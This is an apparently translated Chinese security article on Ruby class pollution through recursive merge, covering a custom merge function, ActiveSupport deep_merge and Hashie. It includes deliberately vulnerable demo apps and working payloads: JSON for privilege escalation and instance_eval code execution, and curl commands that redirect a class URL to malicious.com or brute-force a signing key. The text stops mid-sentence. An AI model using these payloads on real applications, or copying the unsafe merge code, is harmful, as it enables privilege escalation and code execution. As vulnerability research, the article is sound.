Ruby类污染:深入利用递归合并漏洞
引言
本文将探讨Ruby中一类鲜为人知的漏洞——类污染。这一概念受JavaScript原型污染的启发,通过递归合并操作污染对象的类变量,最终导致意外行为。最初在关于Python原型污染的博客中讨论,研究人员使用递归合并污染类变量,并通过__globals__
属性影响全局变量。
在Ruby中,类污染可分为三种主要情况:
- 哈希合并:此场景下无法实现类污染,因为合并操作仅限于哈希本身。
- 属性合并(非递归):可以污染对象的实例变量,可能通过注入返回值替换方法。这种污染仅限于对象本身,不影响类。
- 属性合并(递归):递归合并的特性允许我们逃逸对象上下文,污染父类甚至无关类的属性或方法,对应用产生更广泛的影响。
属性合并
首先分析一个代码示例,通过递归合并修改对象方法,改变应用行为。这种污染仅限于对象本身。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
|
require 'json'
# 基类,用于管理员和普通用户
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# 将额外数据合并到对象的方法
def merge_with(additional)
recursive_merge(self, additional)
end
# 基于`to_s`方法结果进行授权
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# 使用`instance_eval`执行所有受保护方法的健康检查
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# 管理员类继承自Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# 普通用户类继承自Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# 实例化普通用户
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# 执行递归合并,可能覆盖方法
user.merge_with(additional_object)
# 授权用户(权限提升漏洞)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# 执行健康检查(RCE漏洞)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
|
在提供的代码中,我们对User对象的属性执行递归合并。这允许我们注入或覆盖值,可能在不直接修改类定义的情况下改变对象行为。
工作原理:
- 初始化和设置:User对象使用特定属性初始化:name、age和details。这些属性作为实例变量存储在对象中。
- 合并:调用
merge_with
方法,传入表示要合并到User对象的额外数据的JSON输入。
- 改变对象行为:通过传递精心构造的JSON数据,可以修改或注入新的实例变量,影响User对象的行为。
- 例如,在
authorize
方法中,to_s
方法决定用户是否被授予管理员权限。通过注入返回值为"Admin"的新to_s
方法,可以提升用户权限。
- 类似地,在
health_check
方法中,可以通过覆盖通过instance_eval
调用的方法注入任意代码执行。
漏洞利用示例:
限制:
上述更改仅限于特定对象实例,不影响同一类的其他实例。这意味着虽然对象行为被改变,但同一类的其他对象保持不变。
此示例突显了看似无害的操作(如递归合并)如果未妥善管理,可能被利用引入严重漏洞。通过理解这些风险,开发者可以更好地保护应用免受此类攻击。
真实案例
接下来探讨两个最流行的Ruby合并库,看看它们如何易受类污染影响。需要注意的是,还有其他库可能受此类问题影响,这些漏洞的整体影响各不相同。
1. ActiveSupport的deep_merge
ActiveSupport是Ruby on Rails的内置组件,为哈希提供deep_merge
方法。该方法本身不可利用,因为它仅限于哈希。但如果与以下代码结合使用,可能变得易受攻击:
1
2
3
4
5
6
7
8
9
10
11
|
# 使用ActiveSupport deep_merge将额外数据合并到对象的方法
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
|
在此示例中,如果按所示使用deep_merge
,我们可以类似第一个示例利用它,导致应用行为的潜在危险变化。
2. Hashie
Hashie库广泛用于在Ruby中创建灵活的数据结构,提供deep_merge
等功能。然而,与之前ActiveSupport的示例不同,Hashie的deep_merge
方法直接操作对象属性而非普通哈希。这使其更易受属性污染。
Hashie有一个内置机制,防止在合并期间直接用属性替换方法。通常,如果尝试通过deep_merge
用属性覆盖方法,Hashie会阻止尝试并发出警告。但此规则有特定例外:以_
、!
或?
结尾的属性仍可以合并到对象中,即使与现有方法冲突。
关键点:
- 方法保护:Hashie保护方法名不被以
_
、!
或?
结尾的属性直接覆盖。例如,尝试用to_s_
属性替换to_s
方法不会引发错误,但方法也不会被替换。to_s_
的值不会覆盖方法行为,确保现有方法功能保持完整。此保护机制对于维护Hashie对象中方法的完整性至关重要。
_
的特殊处理:关键漏洞在于_
作为独立属性的处理。在Hashie中,访问_
时,它返回一个与您交互的类的新Mash对象(本质上是临时对象)。此行为允许攻击者访问并使用此新Mash对象,就像它是真实属性一样。虽然方法不能被替换,但访问_
属性的此特性仍可被利用注入或修改值。
例如,通过向Mash注入"_": "Admin"
,攻击者可以诱骗应用访问由_
创建的临时Mash对象,该对象可以包含绕过保护的恶意注入属性。
实际示例
考虑以下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
require 'json'
require 'hashie'
# 基类,用于管理员和普通用户
class Person < Hashie::Mash
# 使用hashie将额外数据合并到对象的方法
def merge_with(other_object)
deep_merge!(other_object)
self
end
# 基于to_s授权
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# 管理员类继承自Person
class Admin < Person
def to_s
"Admin"
end
end
# 普通用户类继承自Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# 实例化普通用户
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# 执行深度合并,可能覆盖方法
user.merge_with(additional_object)
# 授权用户(权限提升漏洞)
# 利用:如果在JSON中传递{"_": "Admin"},用户将被视为管理员。
# 使用示例:ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
|
在提供的代码中,我们利用Hashie对_
的处理来操纵授权过程的行为。当调用_.to_s
时,它访问新创建的Mash对象,而不是返回方法定义的值,我们可以在其中注入值"Admin"。这允许攻击者通过向临时Mash对象注入数据来绕过基于方法的授权检查。
例如,JSON有效载荷{"_": "Admin"}
将字符串“Admin”注入到由_
创建的临时Mash对象中,允许用户通过authorize
方法被授予管理员访问权限,即使to_s
方法本身没有被直接覆盖。
此漏洞突显了Hashie库的某些特性如何被利用来绕过应用逻辑,即使有防止方法覆盖的保护措施。
逃逸对象以污染类
当合并操作是递归的并针对属性时,有可能逃逸对象上下文,污染类、其父类甚至其他无关类的属性或方法。这种污染影响整个应用上下文,可能导致严重漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
|
require 'json'
require 'sinatra/base'
require 'net/http'
# 基类,用于管理员和普通用户
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# 将额外数据合并到对象的方法
def merge_with(additional)
recursive_merge(self, additional)
end
private
# 递归合并以修改实例变量
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# 创建的类,模拟用密钥签名,将被第三个gadget感染
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - 使用JSON输入感染类变量
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - 激活第一个gadget
get '/launch-curl-command' do
content_type :json
# 此gadget向存储在User类中的URL发出HTTP请求
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# 感染User类URL的curl命令:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - 使用存储在KeySigner中的签名密钥签名数据
get '/sign_with_subclass_key' do
content_type :json
# 此gadget使用存储在KeySigner类中的签名密钥签名数据
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# 感染KeySigner签名密钥的curl命令(循环运行直到成功):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - 检查所有变量是否已被感染
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
|
在以下示例中,我们演示了两种不同类型的类污染:
(A) 污染父类:通过递归合并属性,我们可以修改父类中的变量。此修改影响该类的所有实例,可能导致应用中的意外行为。
(B) 污染其他类:通过暴力子类选择,我们最终可以定位并污染特定类。此方法涉及重复尝试污染随机子类,直到所需子类被感染。虽然有效,但此方法可能由于随机性和过度感染的潜力导致问题。
两种漏洞利用的详细说明
(A) 污染父类
在此漏洞利用中,我们使用递归合并操作修改Person类(User的父类)中的@@url
变量。通过向此变量注入恶意URL,我们可以操纵应用后续的HTTP请求。
例如,使用以下curl命令:
1
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
我们成功污染了Person类中的@@url
变量。当访问/launch-curl-command
端点时,它现在向http://malicious.com发送请求,而不是原始URL。
这演示了递归合并如何逃逸对象级别并修改类级别变量,影响整个应用。
(B) 污染其他类
此漏洞利用利用暴力感染特定子类。通过重复尝试向随机子类注入恶意数据,我们最终可以定位并污染负责签名数据的KeySigner类。
例如,使用以下循环curl命令:
1
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
我们尝试污染KeySigner中的@@signing_key
变量。经过几次尝试后,KeySigner类被感染,签名密钥被替换为我们注入的密钥。
此